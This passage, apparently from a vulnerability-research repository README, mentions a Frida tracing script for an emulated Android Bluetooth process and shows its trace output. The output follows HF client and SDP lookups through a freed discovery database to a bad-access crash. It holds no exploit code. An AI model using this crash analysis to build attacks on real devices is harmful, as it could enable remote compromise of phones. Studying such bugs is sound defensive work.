이 저장소에는 에뮬레이터에서 Bluetooth 프로세스를 추적하기 위한 dumpbt.js Frida 스크립트도 포함되어 있습니다.``` sym_bta_hf_client_allocate_handle called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0 bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0 bta_hf_client_do_disc called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f73a0 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f73a0 sym_bta_hf_client_allocate_handle called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0 bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0 bta_hf_client_do_disc called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190 bta_hf_client_free_db called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x49 sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x49 sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x49 sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x49 sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190 Process crashed: Bad access due to invalid address